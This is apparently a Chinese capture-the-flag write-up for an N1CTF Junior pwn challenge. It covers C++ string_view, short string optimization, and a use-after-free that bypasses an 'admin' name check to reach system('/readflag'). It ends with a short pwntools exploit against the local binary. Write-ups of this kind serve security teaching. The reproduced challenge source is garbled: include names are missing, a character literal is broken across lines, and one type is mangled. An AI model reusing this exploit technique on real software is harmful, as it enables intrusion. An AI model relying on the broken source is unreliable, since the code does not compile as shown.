文章目录

  • 参考
  • make_pair
  • string_view和string
      • `std::string` 的内部实现和特点
      • `std::string_view` 的内部实现和特点
      • 例子说明
  • SSO(Short String Optimization)和堆分配
  • 源码
  • 思路
  • exp

参考

http://zqy.ink/2023/05/12/dingjiqiandao/

make_pair

该函数的作用是解析用户输入的登录信息。这里使用的make_pair是C++标准库中的一个函数,用于创建一个std::pair对象。std::pair是一个模板类,可以用来同时存储两个相关的值,通常这两个值可以是不同类型。

具体到这行代码中:

return make_pair(tok_ring[0], tok_ring[1]);
  • tok_ring是一个由splitToken函数返回的std::vector,其中存储了通过特定分隔符(在这个案例中是冒号:)分隔的字符串片段。tok_ring[0]代表第一个片段(通常是用户名),tok_ring[1]代表第二个片段(通常是密码)。

  • make_pair函数接收这两个字符串片段作为参数,创建一个新的std::pair对象,其中第一个元素是tok_ring[0](用户名),第二个元素是tok_ring[1](密码)。

return make_pair(tok_ring[0], tok_ring[1]);这一行的作用是将解析出来的用户名和密码打包成一个std::pair对象并作为parseUser函数的返回值。

string_view和string

std::string 的内部实现和特点

std::string是一个封装了动态数组的类,用于存储和操作字符串。它的内部结构通常包含以下组件:

  1. 字符指针:一个指向动态分配的字符数组的指针,存储字符串的实际内容。
  2. 长度:一个成员变量,记录当前字符串的实际长度(字符数量,不含末尾的空字符)。
  3. 容量:通常还有一个成员变量记录当前分配的总内存大小,以备字符串增长时使用,避免频繁的内存重新分配。
  4. 管理机制std::string负责动态内存的分配和释放,包括自动增长策略(当字符串增加时自动扩展内存容量)和深拷贝(复制或赋值时复制内容)。

std::string_view 的内部实现和特点

相比之下,std::string_view是一个轻量级的字符串视图类,它不拥有字符串的内存,而是一个对现有字符串的引用。其内部结构相对简单:

  1. 字符指针:一个指向字符串数据的const char*const CharT*指针,指向外部存储的字符串起始位置。
  2. 长度:一个成员变量,记录string_view所引用的字符串长度。

string_view的设计理念是零成本的字符串引用,它不涉及内存管理,不对字符串进行拷贝,仅提供对已存在字符串的视图。它能够提升效率,特别是在处理字符串操作频繁或需要避免不必要的字符串复制时。

例子说明

假设我们有一个函数需要统计字符串中某个字符出现的次数:

  • 使用std::string:
    cpp std::string str = "Hello, World!"; std::size_t count = std::count(str.begin(), str.end(), 'o');
    这里,即使传入的是一个临时的字符串字面量,str也会在栈上创建一个副本。

  • 使用std::string_view:
    cpp std::string_view view = "Hello, View!"; std::size_t count = std::count(view.begin(), view.end(), 'e');
    string_view`直接引用了原字符串数据,没有额外的内存分配或复制操作,效率更高。

总结,std::string提供了完全的字符串管理,包括内存分配和所有权,适合需要修改字符串或独立存储字符串数据的场景。而std::string_view作为一个高效的只读视图,适用于不需要修改字符串且希望避免拷贝开销的场合。

SSO(Short String Optimization)和堆分配

以下是一个基础的、概念性的string内部结构示意图:

template<typename CharT, typename Traits, typename Allocator>
class basic_string {
private:
    union {
        struct {
            // 指向堆上分配的字符串数据的指针(如果未使用SSO)
            CharT* ptr;
            // 字符串长度(不包括终止的空字符)
            size_t length;
            // 总容量(包括已使用的和未使用的,仅当在堆上分配时有意义)
            size_t capacity;
        };
        // 内部缓冲区,用于SSO(假设大小为N,N通常由实现决定,例如15或22)
        CharT small_buffer[N];
    };

    // 一个或几个比特位用于标记是否使用SSO
    bool is_short_string : 1;

    // 其他成员和方法...
};

basic_string类通过一个联合体(union)来实现SSO。联合体允许同一块内存区域以不同的数据类型被解释。当字符串较短,满足SSO条件时,字符串数据直接存储在small_buffer中,此时ptrlength、和capacity字段不被使用。is_short_string标志位用来指示当前std::string对象是否使用了SSO。如果字符串超过了SSO的长度限制,ptr将指向堆上分配的字符串数据,而lengthcapacity则记录字符串的实际长度和分配的总容量。

源码

#include 
#include 
#include 
#include 
#include 
#include 
#include 
using namespace std;
string getInput()
{
string res;
getline(cin, res);
//输入一行
if (res.size() > 64)//判断size
throw std::runtime_error("Invalid input");
while (!res.empty() && res.back() == '
')
res.pop_back();//不断判断字符最后一个字符是否是
并且判断是否为空,如果不空并且最后一个字符为
就会pop出去
return res;
}
bool allow_admin = false;
auto splitToken(string_view str, string_view delim)
{
if (!allow_admin && str.find("admin") != str.npos)
//find、rfind等函数,如果没有找到目标子串,这些函数就会返回npos,通知调用者没有找到匹配。
throw std::invalid_argument("Access denied");
vector<string_view> res;
size_t prev = 0, pos = 0;
do
{
pos = str.find(delim, prev);
if (pos == std::string::npos)//没有找到分隔符
{
pos = str.length();
}
res.push_back(str.substr(prev, pos - prev));//截断从开始位置到分隔符的位置
prev = pos + delim.length();//更新起始位置
} while (pos < str.length() && prev < str.length());
return res;
}
auto parseUser()
{
auto tok_ring = splitToken(getInput(), ":");//以:分隔
if (tok_ring.size() != 2)
throw std::invalid_argument("Bad login token");
if (tok_ring[0].size() < 4 || tok_ring[0].size() > 16)//login name的长度限制
throw std::invalid_argument("Bad login name");
if (tok_ring[1].size() > 32) //login password长度限制
throw std::invalid_argument("Bad login password");
return make_pair(tok_ring[0], tok_ring[1]);
}
const unordered_map<string_view, function<void(string_vie)w> > handle_admin = {
{"admin", [](auto)
{
system("/readflag");
}},
{"?", [](auto)
{
cout << "Enjoy :)" << endl;
cout << "http://www.bilibili.com/video/BV1Nx411S7VG" << endl;
}}};
constexpr auto handle_guest = [](auto)
{
cout << "Hello guest!" << endl;
};
int main()
{
auto [username, password] = parseUser();
cout << "Enter 'login' to continue, or enter 'quit' to cancel." << endl;
auto choice = getInput();
if (choice == "quit")
{
cout << "bye" << endl;
return 0;
}
if (auto it = handle_admin.find(username); it != handle_admin.end())
//根据一开始的parseUser中得到username来寻找处理函数
//由于parseUser不允许admain,所以要想办法绕过
{
it->second(password);
//寻找键,如果不是最后一个键即?就调用寻找到的键对应的函数
}
else
{
handle_guest(password);
}
}

思路

  1. parseUser中使用string_view来接收getInput得到的string对象,如果string对象创建时候字符足够长,会使用堆分配来存储字符串,当parseUser结束时,string对象会调用析构函数,free掉堆,但string_view依然存储着对应在堆上的字符串指针
  2. parseUser最后得到的事两个string_view对象,并且他们的指针都是已经free掉的堆上的chunk指针
  3. 此时接下来又会getInput,此时输入内容过长也会导致在堆上分配,如果合适,那么可以和之前析构函数free掉的堆重合,进而得到修改之前堆上的内容,而string_view对象他们的指针正好是已经free掉的堆上的chunk指针
  4. 由于之前分隔parseUser,导致两个string_view对象他们的指针的位置能够指向在堆上对应的内容(username: password),所以如果此时新输入的长度和之前一样,格式和之前一样,就能保证输入的内容的username部分被识别admain,进而绕过上面的对admain的检查

exp

from pwn import *
p=process('./pwn')
p.sendline(b'aaaaa:'+b'a'*32)
p.sendlineafter(b'cancel',b'admin'+b'a'*33)
# aaaaa和admin都是五个字节,使得string_view对象保存的字符串从aaaaa识别为admin
p.interactive()
本站无任何商业行为
个人在线分享 » 2023 N1CTF Junior pwn 顶级签到
E-->